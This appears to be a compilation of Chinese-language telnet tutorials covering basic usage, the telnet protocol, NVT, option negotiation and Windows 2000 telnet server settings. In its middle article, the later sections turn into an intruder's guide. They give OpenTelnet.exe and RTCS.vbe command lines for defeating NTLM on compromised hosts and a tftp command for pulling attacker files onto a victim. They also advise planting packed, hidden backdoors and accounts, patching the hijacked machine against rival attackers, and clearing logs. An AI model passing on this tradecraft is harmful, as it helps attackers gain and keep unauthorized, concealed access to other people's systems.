使用telnet
命令訪問遠程
計算機 用戶使用telnet命令進行遠程登錄。該命令允許用戶使用telnet協(xié)議在遠程計算機之間進行通信,用戶可以通過
網(wǎng)絡(luò)在遠程計算機上登錄,就像登錄到本地機上執(zhí)行命令一樣。為了通過telnet登錄到遠程計算機上,必須知道遠程機上的合法用戶名和口令。
雖然有些
系統(tǒng)確實為遠程用戶提供登錄功能,但出于對安全的考慮,要限制來賓的操作權(quán)限,因此,這種情況下能使用的功能是很少的。當允許遠程用戶登錄時,系統(tǒng)通常把這些用戶放在一個受限制的shell中,以防系統(tǒng)被懷有惡意的或不小心的用戶破壞。用戶還可以使用telnet從遠程站點登錄到自己的計算機上,檢查電子
郵件、編輯
文件和運行
程序,就像在本地登錄一樣。
但是,用戶只能使用基于終端的環(huán)境而不是X Wndows環(huán)境,telnet只為普通終端提供終端仿真,而不支持 X Wndow等圖形環(huán)境。
telnet命令的一般形式為:
telnet
主機名/IP 其中“主機名/IP”是要連接的遠程機的主機名或IP
地址。
例: telnet 192.168.0.1
如果這一命令執(zhí)行成功,將從遠程機上得到login:
提示符。
使用telnet命令登錄的過程如下:$ telnet 主機名/IP 啟動telnet會話。
一旦telnet成功地連接到遠程系統(tǒng)上,就顯示登錄信息并提示用戶輸人用戶名和口令。如果用戶名和口令輸入正確,就能成功登錄并在遠程系統(tǒng)上工作。在telnet提示符后面可以輸入很多命令,用來控制telnet會話過程,在telnet聯(lián)機幫助手冊中對這些命令有詳細的說明。
下面是一臺Linux計算機上的telnet會話舉例:
$ telnet
server. somewhere. com Trying 127.0.0.1… Connected to serve. somewhere. com. Escape character is \';?]\';. “TurboLinux release 4. 0 (Colgate)
kernel 2.0.18 on an I486
login: bubba password: Last login:Mon Nov l5 20:50:43 for localhost Linux 2. 0.6. (Posix). server: ~$ server: ~$ logout Connection closed by foreign host $
用戶結(jié)束了遠程會話后,一定要確保使用logout命令退出遠程系統(tǒng)。然后telnet報告遠程會話被關(guān)閉,并返回到用戶的本地機的Shell提示符下。
r-系列命令 除ftp和telnet以外,還可以使用r-系列命令訪問遠程計算機和在網(wǎng)絡(luò)上交換文件。使用r-系列命令需要特別注意,因為如果用戶不小心,就會造成嚴重的安全漏洞。用戶發(fā)出一個r-系列命令后,遠程系統(tǒng)檢查名為/etc/hosts.equiv的文件,以查看用戶的主機是否列在這個文件中。如果它沒有找到用戶的主機,就檢查遠程機上同名用戶的主目錄中名為.rhosts的文件,看是否包括該用戶的主機。如果該用戶的主機包括在這兩個文件中的任何一個之中,該用戶執(zhí)行r-系列命令就不用提供口令。
雖然用戶每次訪問遠程機時不用鍵入口令可能是非常方便的,但是它也可能會帶來嚴重的安全問題。我們建議用戶在建立/etc/hosts.equiv和.rhosts文件之前,仔細考慮r-命令隱含的安全問題。
******************************************************
telnet命令的使用詳解
一 摘要
Telnet的應(yīng)用不僅方便了我們進行遠程登錄,也給hacker們提供了又一種入侵手段和后門,但無論如何,在你盡情享受Telnet所帶給你的便捷的同時,你是否真正的了解Telnet呢?
二 遠程登錄
Telnet
服務(wù)雖然也屬于客戶機/
服務(wù)器模型的服務(wù),但它更大的意義在于實現(xiàn)了基于Telnet協(xié)議的遠程登錄(遠程交互式計算),那么就讓我們來認識一下遠程登錄。
1 遠程
登陸的基本概念
先來看看什么叫登錄:分時系統(tǒng)允許多個用戶同時使用一臺計算機,為了保證系統(tǒng)的安全和記帳方便,系統(tǒng)要求每個用戶有單獨的帳號作為登錄標識,系統(tǒng)還為每個用戶指定了一個口令。用戶在使用該系統(tǒng)之前要輸入標識和口令,這個過程被稱為';登錄';。
遠程登陸是指用戶使用Telnet命令,使自己的計算機暫時成為遠程主機的一個仿真終端的過程。仿真終端等效于一個非智能的
機器,它只負責把用戶輸入的每個字符傳遞給主機,再將主機輸出的每個信息回顯在屏幕上。
2 遠程登陸的產(chǎn)生及發(fā)展
我們可以先構(gòu)想一個提供遠程文字編輯的服務(wù),這個服務(wù)的實現(xiàn)需要一個接受編輯文件請求和
數(shù)據(jù)的服務(wù)器以及一個發(fā)送此請求的客戶機。客戶機將建立一個從本地機到服務(wù)器的TCP連接,當然這需要服務(wù)器的應(yīng)答,然后向服務(wù)器發(fā)送鍵入的信息(文件編輯信息),并讀取從服務(wù)器返回的輸出。以上便是一個標準而普通的客戶機/服務(wù)器模型的服務(wù)。
似乎有了客戶機/服務(wù)器模型的服務(wù),一切遠程問題都可以
解決了。然而實際并非你想象的那樣簡單,如果我們僅需要遠程編輯文件,那么剛才所構(gòu)想的服務(wù)完全可以勝任,但假如我們的要求并不是這么簡單,我們還想實現(xiàn)遠程用戶
管理,遠程數(shù)據(jù)錄入,遠程系統(tǒng)維護,想實現(xiàn)一切可以在遠程主機上實現(xiàn)的操作,那么我們將需要大量專用的服務(wù)器程序并為每一個可計算服務(wù)都使用一個服務(wù)器進程,隨之而來的問題是:遠程機器會很快對服務(wù)器進程應(yīng)接不暇,并淹沒在進程的海洋里(我們在這里排除最專業(yè)化的遠程機器)。
那么有沒有
辦法解決呢?當然有,我們可以用遠程登錄來解決這一切。我們允許用戶在遠地機器上建立一個登錄會話,然后通過執(zhí)行命令來實現(xiàn)更一般的服務(wù),就像在本地操作一樣。這樣,我們便可以訪問遠地系統(tǒng)上所有可用的命令,并且系統(tǒng)設(shè)計員不需提供多個專用地服務(wù)器程序。
問題發(fā)展到這里好像前途一片光明了,用遠程登錄總應(yīng)該解決問題了吧,但要實現(xiàn)遠程登陸并不簡單。不考慮網(wǎng)絡(luò)設(shè)計的計算機系統(tǒng)期望用戶只從直接相連的鍵盤和顯示器上登錄,在這種機器上增加遠程登陸功能需要修改機器的操作系統(tǒng),這是極其艱巨也是我們盡量避免的。因此我們應(yīng)該集中力量構(gòu)造遠程登陸服務(wù)器
軟件,雖然這樣也是比較困難的。為什么說這樣做也比較困難呢?
舉個例子來說:一般,操作系統(tǒng)會為一些特殊按鍵分配特殊的含義,比如本地系統(tǒng)將';Ctrl+C';解釋為:';終止當前運行的命令進程';。但假設(shè)我們已經(jīng)運行了遠程登陸服務(wù)器軟件,';Ctrl+C';也有可能無法被傳送到遠地機器,如果客戶機真的將';Ctrl+C';傳到了遠地機器,那么';Ctrl+C';這個命令有可能不能終止本地的進程,也就是說在這里很可能會產(chǎn)生混亂。而且這僅僅是遇到的難題之一。
但盡管有
技術(shù)上的困難,系統(tǒng)編程人員還是設(shè)法構(gòu)造了能夠應(yīng)用于大多數(shù)操作系統(tǒng)的遠程登陸服務(wù)器軟件,并構(gòu)造了充當客戶機的應(yīng)用軟件。通常,客戶機軟件取消了除一個鍵以外的所有鍵的本地解釋,并將這些本地解釋相應(yīng)的轉(zhuǎn)換成遠地解釋,這就使得客戶機軟件與遠地機器的交互,就如同坐在遠程主機面前一樣,從而避免了上述所提到的混亂。而那個唯一例外的鍵,可以使用戶回到本地環(huán)境。
將遠程登陸服務(wù)器設(shè)計為應(yīng)用級軟件,還有另一個要求,那就是需要操作系統(tǒng)提供對偽終端(pseudo terminal)的支持。我們用偽終端描述操作系統(tǒng)的入口點,它允許像Telnet服務(wù)器一樣的程序向操作系統(tǒng)傳送字符,并且使得字符像是來自本地鍵盤一樣。只有使用這樣的操作系統(tǒng),才能將遠程登陸服務(wù)器設(shè)計為應(yīng)用級軟件(比如Telnet服務(wù)器軟件),否則,本地操作系統(tǒng)和遠地系統(tǒng)傳送將不能識別從對方傳送過來的信息(因為它們僅能識別從本地鍵盤所鍵入的信息),遠程登陸將宣告失敗。
將遠程登陸服務(wù)器設(shè)計為應(yīng)用級軟件雖然有其顯著的優(yōu)點:比將
代碼嵌入操作系統(tǒng)更易修改和控制服務(wù)器。但其也有效率不高的缺點(后面的內(nèi)容將會給予解釋),好在用戶鍵入信息的速率不高,這種設(shè)計還是可以接受的。
3 遠程登錄的工作過程
使用Telnet協(xié)議進行遠程登陸時需要滿足以下條件:在本的計算機上必須裝有包含Telnet協(xié)議的客戶程序;必須知道遠程主機的Ip地址或
域名;必須知道登錄標識與口令。
Telnet遠程登錄服務(wù)分為以下4個過程:
1)本地與遠程主機建立連接。該過程實際上是建立一個TCP連接,用戶必須知道遠程主機的Ip地址或域名;
2)將本地終端上輸入的用戶名和口令及以后輸入的任何命令或字符以NVT(Net Virtual Terminal)格式傳送到遠程主機。該過程實際上是從本地主機向遠程主機發(fā)送一個IP數(shù)據(jù)報;
3)將遠程主機輸出的NVT格式的數(shù)據(jù)轉(zhuǎn)化為本地所接受的格式送回本地終端,包括輸入命令回顯和命令執(zhí)行結(jié)果;
4)最后,本地終端對遠程主機進行撤消連接。該過程是撤銷一個TCP連接。
上面的內(nèi)容只是
討論了遠程登陸最基本的東西,其中的復(fù)雜和編程人員的艱辛是我們難以想象的,不知道你在舒服的使用Telnet的同時,是否想到了這些!
三 Telnet協(xié)議
我們知道Telnet服務(wù)器軟件是我們最常用的遠程登錄服務(wù)器軟件,是一種典型的客戶機/服務(wù)器模型的服務(wù),它應(yīng)用Telnet協(xié)議來工作。那么,什么是Telnet協(xié)議?它都具備哪些特點呢?
1 基本內(nèi)容
Telnet協(xié)議是TCP/IP協(xié)議族中的一員,是Internet遠程登陸服務(wù)的標準協(xié)議。應(yīng)用Telnet協(xié)議能夠把本地用戶所使用的計算機變成遠程主機系統(tǒng)的一個終端。它提供了三種基本服務(wù):
1)Telnet定義一個網(wǎng)絡(luò)虛擬終端為遠的系統(tǒng)提供一個標準接口。客戶機程序不必詳細了解遠的系統(tǒng),他們只需構(gòu)造使用標準接口的程序;
2)Telnet包括一個允許客戶機和服務(wù)器協(xié)商選項的機制,而且它還提供一組標準選項;
3)Telnet對稱處理連接的兩端,即Telnet不強迫客戶機從鍵盤輸入,也不強迫客戶機在屏幕上顯示輸出。
2 適應(yīng)異構(gòu)
為了使多個操作系統(tǒng)間的Telnet交互操作成為可能,就必須詳細了解異構(gòu)計算機和操作系統(tǒng)。比如,一些操作系統(tǒng)需要每行文本用ASCII回車控制符(CR)結(jié)束,另一些系統(tǒng)則需要使用ASCII換行符(LF),還有一些系統(tǒng)需要用兩個字符的序列回車-換行(CR-LF);再比如,大多數(shù)操作系統(tǒng)為用戶提供了一個中斷程序運行的快捷鍵,但這個快捷鍵在各個系統(tǒng)中有可能不同(一些系統(tǒng)使用CTRL+C,而另一些系統(tǒng)使用ESCAPE)。如果不考慮系統(tǒng)間的異構(gòu)性,那么在本地發(fā)出的字符或命令,傳送到遠地并被遠地系統(tǒng)解釋后很可能會不準確或者出現(xiàn)錯誤。因此,Telnet協(xié)議必須解決這個問題。
為了適應(yīng)異構(gòu)環(huán)境,Telnet協(xié)議定義了數(shù)據(jù)和命令在Internet上的傳輸方式,此定義被稱作網(wǎng)絡(luò)虛擬終端NVT(Net Virtual Terminal)。它的應(yīng)用過程如下:
對于發(fā)送的數(shù)據(jù):客戶機軟件把來自用戶終端的按鍵和命令序列轉(zhuǎn)換為NVT格式,并發(fā)送到服務(wù)器,服務(wù)器軟件將收到的數(shù)據(jù)和命令,從NVT格式轉(zhuǎn)換為遠地系統(tǒng)需要的格式;
對于返回的數(shù)據(jù):遠地服務(wù)器將數(shù)據(jù)從遠地機器的格式轉(zhuǎn)換為NVT格式,而本地客戶機將將接收到的NVT格式數(shù)據(jù)再轉(zhuǎn)換為本地的格式。
對于NVT格式的詳細定義,有興趣的
朋友可以去查找相關(guān)資料。
3 傳送遠地命令
我們知道絕大多數(shù)操作系統(tǒng)都提供各種快捷鍵來實現(xiàn)相應(yīng)的控制命令,當用戶在本地終端鍵入這些快捷鍵的時候,本地系統(tǒng)將執(zhí)行相應(yīng)的控制命令,而不把這些快捷鍵作為輸入。那么對于Telnet來說,它是用什么來實現(xiàn)控制命令的遠地傳送呢?
Telnet同樣使用NVT來定義如何從客戶機將控制功能傳送到服務(wù)器。我們知道USASCII字符集包括95個可打印字符和33個控制碼。當用戶從本地鍵入普通字符時,NVT將按照其原始含義傳送;當用戶鍵入快捷鍵(組合鍵)時,NVT將把它轉(zhuǎn)化為特殊的ASCII字符在網(wǎng)絡(luò)上傳送,并在其到達遠地機器后轉(zhuǎn)化為相應(yīng)的控制命令。將正常ASCII字符集與控制命令區(qū)分主要有兩個原因:
1)這種區(qū)分意味著Telnet具有更大的靈活性:它可在客戶機與服務(wù)器間傳送所有可能的ASCII字符以及所有控制功能;
2)這種區(qū)分使得客戶機可以無二義性的指定信令,而不會產(chǎn)生控制功能與普通字符的混亂。
4 數(shù)據(jù)流向
上面我們提到過將Telnet設(shè)計為應(yīng)用級軟件有一個缺點,那就是:效率不高。這是為什么呢?下面給出Telnet中的數(shù)據(jù)流向:
數(shù)據(jù)信息被用戶從本地鍵盤鍵入并通過操作系統(tǒng)傳到客戶機程序,客戶機程序?qū)⑵涮幚砗蠓祷夭僮飨到y(tǒng),并由操作系統(tǒng)經(jīng)過網(wǎng)絡(luò)傳送到遠地機器,遠地操作系統(tǒng)將所接收數(shù)據(jù)傳給服務(wù)器程序,并經(jīng)服務(wù)器程序再次處理后返回到操作系統(tǒng)上的偽終端入口點,最后,遠地操作系統(tǒng)將數(shù)據(jù)傳送到用戶正在運行的應(yīng)用程序,這便是一次完整的輸入過程;輸出將按照同一通路從服務(wù)器傳送到客戶機。
因為每一次的輸入和輸出,計算機將切換進程環(huán)境好幾次,這個開銷是很昂貴的。還好用戶的鍵入速率并不算高,這個缺點我們?nèi)匀荒軌蚪邮堋?
5 強制命令
我們應(yīng)該考慮到這樣一種情況:假設(shè)本地用戶運行了遠地機器的一個無休止循環(huán)的錯誤命令或程序,且此命令或程序已經(jīng)停止讀取輸入,那么操作系統(tǒng)的緩沖區(qū)可能因此而被占滿,如果這樣,遠地服務(wù)器也無法再將數(shù)據(jù)寫入偽終端,并且最終導致停止從TCP連接讀取數(shù)據(jù),TCP連接的緩沖區(qū)最終也會被占滿,從而導致阻止數(shù)據(jù)流流入此連接。如果以上事情真的發(fā)生了,那么本地用戶將失去對遠地機器的控制。
為了解決此問題,Telnet協(xié)議必須使用外帶信令以便強制服務(wù)器讀取一個控制命令。我們知道TCP用緊急數(shù)據(jù)機制實現(xiàn)外帶數(shù)據(jù)信令,那么Telnet只要再附加一個被稱為數(shù)據(jù)標記(date mark)的保留八位組,并通過讓TCP發(fā)送已
設(shè)置緊急數(shù)據(jù)比特的報文段通知服務(wù)器便可以了,攜帶緊急數(shù)據(jù)的報文段將繞過流量控制直接到達服務(wù)器。作為對緊急信令的相應(yīng),服務(wù)器將讀取并拋棄所有數(shù)據(jù),直到找到了一個數(shù)據(jù)標記。服務(wù)器在遇到了數(shù)據(jù)標記后將返回正常的處理過程。
6 選項協(xié)商
由于Telnet兩端的機器和操作系統(tǒng)的異構(gòu)性,使得Telnet不可能也不應(yīng)該嚴格規(guī)定每一個telnet連接的詳細配置,否則將大大影響Telnet的適應(yīng)異構(gòu)性。因此,Telnet采用選項協(xié)商機制來解決這一問題。
Telnet選項的范圍很廣:一些選項擴充了大方向的功能,而一些選項制涉及一些微小細節(jié)。例如:有一個選項可以控制Telnet是在半雙工還是全雙工模式下工作(大方向);還有一個選項允許遠地機器上的服務(wù)器決定用戶終端類型(小細節(jié))。
Telnet選項的協(xié)商方式也很有意思,它對于每個選項的處理都是對稱的,即任何一端都可以發(fā)出協(xié)商
申請;任何一端都可以接受或拒絕這個申請。另外,如果一端試圖協(xié)商另一端不了解的選項,接受請求的一端可簡單的拒絕協(xié)商。因此,有可能將更新,更復(fù)雜的Telnet客戶機服務(wù)器版本與較老的,不太復(fù)雜的版本進行交互操作。如果客戶機和服務(wù)器都理解新的選項,可能會對交互有所改善。否則,它們將一起轉(zhuǎn)到效率較低但可工作的方式下運行。所有的這些設(shè)計,都是為了增強適應(yīng)異構(gòu)性,可見Telnet的適應(yīng)異構(gòu)性對其的應(yīng)用和發(fā)展是多么重要。
上面討論了一些原理方面的東西,雖然我們在Telnet的使用過程中很難接觸到這一層面,但我認為了解這些是有意義的,它會給我們帶來許多啟示。下面讓我們來看看Win2000的Telnet服務(wù)。
四 Win2000的Telnet服務(wù)
其實從應(yīng)用層面上,Win2000的Telnet服務(wù)并沒有什么可說的,絕大部分內(nèi)容你都可以從HELP文件中得到,我在此只是把它稍微整理一下而已。
1 基本配置
Win2000為我們提供了Telnet客戶機和服務(wù)器程序:Telnet.
exe是客戶機程序(Client),tlntsvr.exe是服務(wù)器程序(server),同時它還為我們提供了Telnet服務(wù)器管理程序tlntadmn.exe。
Windows 2000 默認安裝了 Telnet 服務(wù),但是并沒有默認啟動。下面給出HELP文件中 Telnet 服務(wù)的一部分默認設(shè)置:
AllowTrustedDomain:是否允許域用戶訪問。默認值是1,允許信任域用戶訪問??梢愿臑?: 不允許域用戶訪問(只允許本地用戶)。
DefaultDomain:可以對與該計算機具有信任關(guān)系的任何域設(shè)置。默認值是"."。
DefaultShell:顯示 shell 安裝的路徑位置。默認值是: %systemroot%System32Cmd.exe /q /k
MaxFailedLogins:在連接終止之前顯示嘗試登錄失敗的最大次數(shù)。默認是3。
LoginScript:顯示 Telnet 服務(wù)器登錄腳本的路徑位置。默認的位置就是“%systemroot%System32login.cmd”,你可以更改腳本內(nèi)容,這樣登錄進Telnet的歡迎屏幕就不一樣了。
NTLM:NTLM身份驗證選項。默認是2??梢杂邢旅孢@些值:
0: 不使用 NTLM 身份驗證。
1: 先嘗試 NTLM 身份驗證,如果失敗,再使用用戶名和
密碼。
2: 只使用 NTLM 身份驗證。
TelnetPort:顯示 telnet 服務(wù)器偵聽 telnet 請求的
端口。默認是:23。你也可以更改為其他端口。
以上各項設(shè)置你可以使用tlntadmn.exe(Telnet服務(wù)器管理程序)來進行非常方便的配置,配置后需要重新啟動Telnet服務(wù)。如圖1
2 NTLM
提到了telnet就不能不提NTLM,我想這也是讓入侵者最為頭痛的一件事,哪怕你獲得了管理員帳號和密碼,想簡單通過NTLM也并非易事,況且win2000中的telnet默認僅以NTLM方式驗證身份,這就讓我們不得不關(guān)注NTLM這個東東,那么什么是NTLM呢?
早期的SMB協(xié)議在網(wǎng)絡(luò)上明文傳輸口令,后來出現(xiàn)了"LAN Manager Challenge/Response"驗證機制,簡稱LM,它十分簡單以至很容易被
破解,微軟隨后提出了WindowsNT挑戰(zhàn)/響應(yīng)驗證機制,即NTLM?,F(xiàn)在已經(jīng)有了更新的NTLMv2以及Kerberos驗證體系。NTLM工作流程是這樣的:
1、客戶端首先在本地加密當前用戶的密碼成為密碼散列
2、客戶端向服務(wù)器發(fā)送自己的帳號,這個帳號是沒有經(jīng)過加密的,明文直接傳輸
3、服務(wù)器產(chǎn)生一個16位的隨機數(shù)字發(fā)送給客戶端,作為一個 challenge(挑戰(zhàn))
4、客戶端再用加密后的密碼散列來加密這個 challenge ,然后把這個返回給服務(wù)器。作為 response(響應(yīng))
5、服務(wù)器把用戶名、給客戶端的challenge 、客戶端返回的 response 這三個東西,發(fā)送域控制器
6、域控制器用這個用戶名在 SAM密碼管理庫中找到這個用戶的密碼散列,然后使用這個密碼散列來加密 challenge。
7、域控制器比較兩次加密的 challenge ,如果一樣,那么認證成功。
從上面的過程我們可以看出,NTLM是以當前用戶的身份向Telnet服務(wù)器發(fā)送登錄請求的,而不是用你掃到的對方管理員的帳戶和密碼登錄,顯然,你的登錄將會失敗。舉個例子來說,你家的機器名為A(本地機器),你入侵的機器名為B(遠地機器),你在A上的帳戶是xinxin,密碼是1234,你掃到B的管理員帳號是Administrator,密碼是5678,當你想Telnet到B時,NTLM將
自動以當前用戶的帳號和密碼作為登錄的憑據(jù)來進行上面的7項操作,即用xinxin和1234,而并非用你掃到的Administrator和5678,且這些都是自動完成的,根本不給你插手的機會,因此你的登錄操作將失敗。
由于Telnet服務(wù)器對NTLM的使用有3個選項,所以當你Telnet遠地機器時,會顯示下面情況中的一種:
1)身份驗證選項=0時
=====================================
Microsoft (R) Windows (TM) Version 5.00 (Build 2195)
Welcome to Microsoft Telnet Service
Telnet Server Build 5.00.99201.1
login:
password:
\為0時不使用NTML身份驗證,直接輸入用戶名和密碼,比如你可以輸入掃到的Administrator和5678
2)身份驗證選項=1時
=====================================
NTLM Authentication failed due to insufficient credentials. Please login withclear text username and password
Microsoft (R) Windows (TM) Version 5.00 (Build 2195)
Welcome to Microsoft Telnet Service
Telnet Server Build 5.00.99201.1
login:
password:
\先嘗試 NTLM 身份驗證,如果失敗,再使用用戶名和密碼,其實這種方式對于我們來說,與上一種方式?jīng)]什么區(qū)別
3)身份驗證選項=2時
=====================================
NTLM Authentication failed due to insufficient credentials. Please login withclear text username and password
Server allows NTLM authentication only
Server has closed connection
遺失對主機的連接。
C:>
\仔細看看上面的顯示,根本沒有給你輸入用戶名和密碼的機會,直接斷開連接,掃到了密碼也是白掃
所以對于入侵者來說,NTLM是橫在我們面前的一座大山,必須要除掉它,一般我們有如下幾種方法:
1通過修改遠程注冊表更改telnet服務(wù)器配置,將驗證方式從2改為1或0;
2使用NTLM.exe,上傳后直接運行,可將telnet服務(wù)器驗證方式從2改為1;
3在本地建立掃描到的用戶,以此用戶身份開啟telnet客戶機并進行遠程登錄;
4使用軟件,比如opentelnet.exe(需要管理員權(quán)限且開啟IPC管道)
5使用腳本,如RTCS,(需要管理員權(quán)限但不依賴IPC管道)
基本上是以上的5種,其中后兩種是我們比較常用的開telnet的手法,而且使用方法十分簡單,命令如下:
OpenTelnet.exe \server username password NTLMAuthor telnetport
OpenTelnet.exe \服務(wù)器地址 管理員用戶名 密碼 驗證方式(填0或1) telnet端口
cscript RTCS.vbe targetIP username password NTLMAuthor telnetport
cscript RTCS.vbe <目標IP> <管理員用戶名> <密碼> <驗證方式>
五 在telnet中該做什么
本來寫到上面就想結(jié)束了,不過許多朋友都說telnet上去后不知道該做什么了,既然這樣,那我就拋磚引玉吧,這次不講具體做法,只是說說思路,什么?為什么不講具體做法?篇幅不夠嘛,以后我會一一解釋的。
1 查看系統(tǒng)信息
呵呵,其實就是隨處看看,看看他的系統(tǒng)配置和版本(用type c:oot.ini來知道pro版或server版),看看都裝了什么服務(wù)或軟件(從目錄名就可以知道了),看看有什么重要或有趣的文件啦(唉,要是國外的機器,看也看不懂),看看他的用戶情況,總之就是盡可能多的了解系統(tǒng),為一會裝后門摸底。
2 使用tftp傳送文件
想必大家都遇到過在telnet中傳輸文件的問題,因為我們習慣了在ipc管道中的文件傳輸,所以有些朋友喜歡用net share ipc$ 來打開管道,進而利用copy來傳輸文件。不過這樣反而麻煩,既然我們已經(jīng)得到了shell,我們可以用TFPT命令來完成這一切,什么是T
FTP呢?
用TFTP(Trivial File Transfer Protocol)來實現(xiàn)文件的傳送是一種基于UDP連接的文件傳輸,一般是使用Windows自帶的tftp.exe和一個TFTP服務(wù)器端軟件構(gòu)成一個完整的傳輸結(jié)構(gòu)。它是這樣使用的: 首先運行本地的TFTP Server(比如tftpd32.exe)軟件并保證始終開啟直至傳輸全部完成, 然后在telnet中(當然你也可以在其他shell中)運行下面的命令:
C:>tftp –i ip get xinxin.exe c:abcxinxin.exe
其中ip為你自己機器的ip,且上傳文件要與TFTP服務(wù)器端在同一目錄下,這樣你就可以把xinxin.exe上傳到c盤abc目錄下了(其實是從tftp服務(wù)器
下載來的)
需要指出的是,如果使用代理IP,你將不能實現(xiàn)與外部網(wǎng)絡(luò)的文件傳送。因為你的代理網(wǎng)關(guān)在進行數(shù)據(jù)封裝的時候會將自己的IP地址加入到你的數(shù)據(jù)報中,代替你的內(nèi)部網(wǎng)絡(luò)地址,所以在外部網(wǎng)絡(luò)進行MAC尋址時是找不到你這臺TFTP服務(wù)器的。
3 安置后門
安置后門放在第二步好像早了點,如果你入侵還有其他目的,比如以破壞為主,或者是來修改主頁的,那么這些事情當然可以在安置后門之前做;如果你只是想得到一只肉雞,那就沒什么可說的了,安后門吧。
后門的種類繁多,也給我們提供了很大的選擇余地,能夠根據(jù)具體情況選擇合適的后門的確是一門學問。常用的后門一般有:
木馬,asp木馬,遠程控制軟件,克隆帳戶,建立并隱藏帳戶,telnet,telnet擴展的shell,終端服務(wù)等。安置一個好的后門通常要注意以下幾點:
1 不會被
防火墻查殺及阻礙通信:被加入病毒庫的后門最好加殼以逃過防火墻,盡量用低端口通信,以免被防火墻屏蔽。
2 最大限度增加隱蔽性:如果你選擇遠程控制軟件,要注意被控端的安裝提示和小圖標,以及是否同步畫面;如果你在帳戶上做文章,要盡量保持在cmd和用戶管理中都不出破綻;如果你選擇放木馬或telnet擴展,要注意文件和進程的隱藏;如果新開了終端服務(wù)(入侵前并沒有開),一定要該掉3389這個顯眼的端口,且越低越好。
3 不要當管理員不存在:這是一個大忌,許多朋友在只有默認帳戶的機器上建立類似';hacking';的管理員帳戶,真是無知者無畏呀。所以安置后門的時候,想想管理員疏忽的地方會在哪里。
4 打補丁
如果想獨霸肉雞,就要會打補丁,要知道對肉雞的競爭是很激烈的。怎么打補丁呢?這個也要問?想想你是怎么進來的吧。算了,提示一下,除了修補大的漏洞以外(上傳官方補丁并運行),也要注意它的共享,ipc$共享(最好都關(guān)閉),可疑端口,容易被利用的服務(wù)等。不過打補丁也要注意隱蔽性的,不要讓管理員發(fā)現(xiàn)大的改動。
5 清除
日志 可以手動或利用軟件,如果不太會就去找相關(guān)教材吧,在這里我不詳細介紹了。
六 結(jié)束語
文章的前部分主要說了一些原理性的東西,后部分則側(cè)重于應(yīng)用,寫的多了難免會有些遺漏。
************************************************
當開始運行Telnet時,情況如何呢?一個應(yīng)用系統(tǒng)由兩部分組成:“client”——這就是Telnet簡介所說的客戶機,另一部分是“server”——這是運行于網(wǎng)絡(luò)計算機上提供服務(wù)的系統(tǒng),稱之為服務(wù)器。而網(wǎng)絡(luò)(即使用TCP也使用UDP的服務(wù)器)則是提供兩者(Clinet與Server)通信的
工具。
這里要求客戶機必須做到:
(1)建立一個網(wǎng)絡(luò)與服務(wù)器間的TCP連接
(2)以方便的方式接收輸入
(3)對某些標準的格式化輸入作重新格式化并作重新格式化并傳送給服務(wù)器。
(4)以某些標準的格式化從服務(wù)器中接受輸出
(5)重新格式化顯示給自己的輸出
服務(wù)器軟件是運行于主機上提供服務(wù)的系統(tǒng),如果沒有運行服務(wù)系統(tǒng),也就不能提供相應(yīng)的服務(wù)。
某一類服務(wù)被調(diào)用,它就可以:
(1)通知網(wǎng)絡(luò)軟件,讓它準備連接;
(2)等待一個標準的格式化要求的產(chǎn)生;
(3)服務(wù)請求;
(4)傳送一個標準格式的結(jié)果給客戶;
(5)重新等待
一個服務(wù)器應(yīng)該能夠處理各種客戶,有的是運行在同類的
電腦上的,而有的是運行在 IBM / PCs , Macintoshes , Amigas等各種不同的機器上。為了做到這一點,服務(wù)器必須具有一套通信規(guī)則,這種規(guī)則通常叫做協(xié)議。由于Telnet協(xié)議用于兩個應(yīng)用層之間所以叫做應(yīng)用層協(xié)議。任何人都可以在任何類型的電腦上編制一個客戶機。只要這個客戶機可以
上網(wǎng)通訊并遵守協(xié)議,他就可以進入服務(wù)器。實際上也就是說,用戶的 Macintosh可以使用Telnet和其他的的Internet的工具,從而能讓很多不同的系統(tǒng)為其工作。
就使用來說,一個應(yīng)用層協(xié)議通常允許客戶機和服務(wù)器有不同的數(shù)據(jù)設(shè)定,并通告客戶機和服務(wù)器使用相互的通信方式。這些經(jīng)常是有每行在開始的幾個字節(jié)的文本程序來完成的。如果服務(wù)器發(fā)送一個以“TXT”字符開頭的行命令給客戶,那么這行 “TXT” 后邊其他的數(shù)據(jù)就被送入屏幕顯示。如果一行的開始是以“CMD”開始,則表明這些信息是從服務(wù)軟件到客戶軟件。使用者是看不到這些的,這是因為在信息傳送到時這些控制信號已去掉了。
除了在Telnet是如何工作的例子介紹的以外,Telnet還有很多的特點。Telnet可發(fā)送除了"escape"的任何字符到遠程主機上。因為"escape"字符在Telnet中是客戶機的一個特殊的命令模式,它的默認值是"Ctrl-]"。但要注意不要與鍵盤上的Esc鍵混淆,我們可以設(shè)定"escape"為任意某個字符,只是對Telnet來說以為著該字符不可能再被傳送到遠程主機上,而Esc鍵是一非打印字符,Telnet用它來
刪除遠程系統(tǒng)中的命令。而且還應(yīng)記住,"escape"字符并不總以"Ctrl-]"來表示。
可以僅僅鍵入Telnet,后面不帶機器字句。這種情況下所看到的是Telnet>,這是告知Telnet在等待鍵入命令,比如鍵入問號"?"那么就得到一個有用的命令表:
telnet: ?
CoMMands may be abbreviated, CoMMand are:
open connect to a site
close close currect connection
quit exit telnet
display display operating parameters
send transmit special characters (';send ?'; for more)
set set operating parameters(';set ?'; for more)
status print status information
toggle toggle operating parameters(';toggle ?'; for more)
mode try to enter line-by-line or character-at-a-time mode
? print help information
雖然命令很多,甚至還有子命令,但只有一些是常用的?,F(xiàn)在介紹以下的幾個:
Close:
該命令用語終止連接。它自動切斷與遠程系統(tǒng)的連接,也可以用它退出Telnet,在冒失的進入一個網(wǎng)絡(luò)主機時,想退出的話,就可以用到這個命令。
open:
用它來與一個命名機器連接,要求給出目標機器的名字或IP地址。如果未給出機器名,Telnet就將要你選擇一個機器名。必須注意,在使用"Open"命令之前應(yīng)該先用"close"來關(guān)閉任何已經(jīng)存在的連接。
Set ECHO:
用于本地的響應(yīng)是On或是Off。作用是是否把輸出的內(nèi)容顯示在屏幕上。和DOS的ECHO基本上是一樣。如果機器是處于ECHO ON的話,想改變?yōu)镺FF,那么就可以輸入SET ECHO,想再改變回ECHO OFF,那么就再鍵入SET ECHO就可以了。(這兒說的比較簡短,如果有不明白的,可以與我聯(lián)系)
Set escape char:
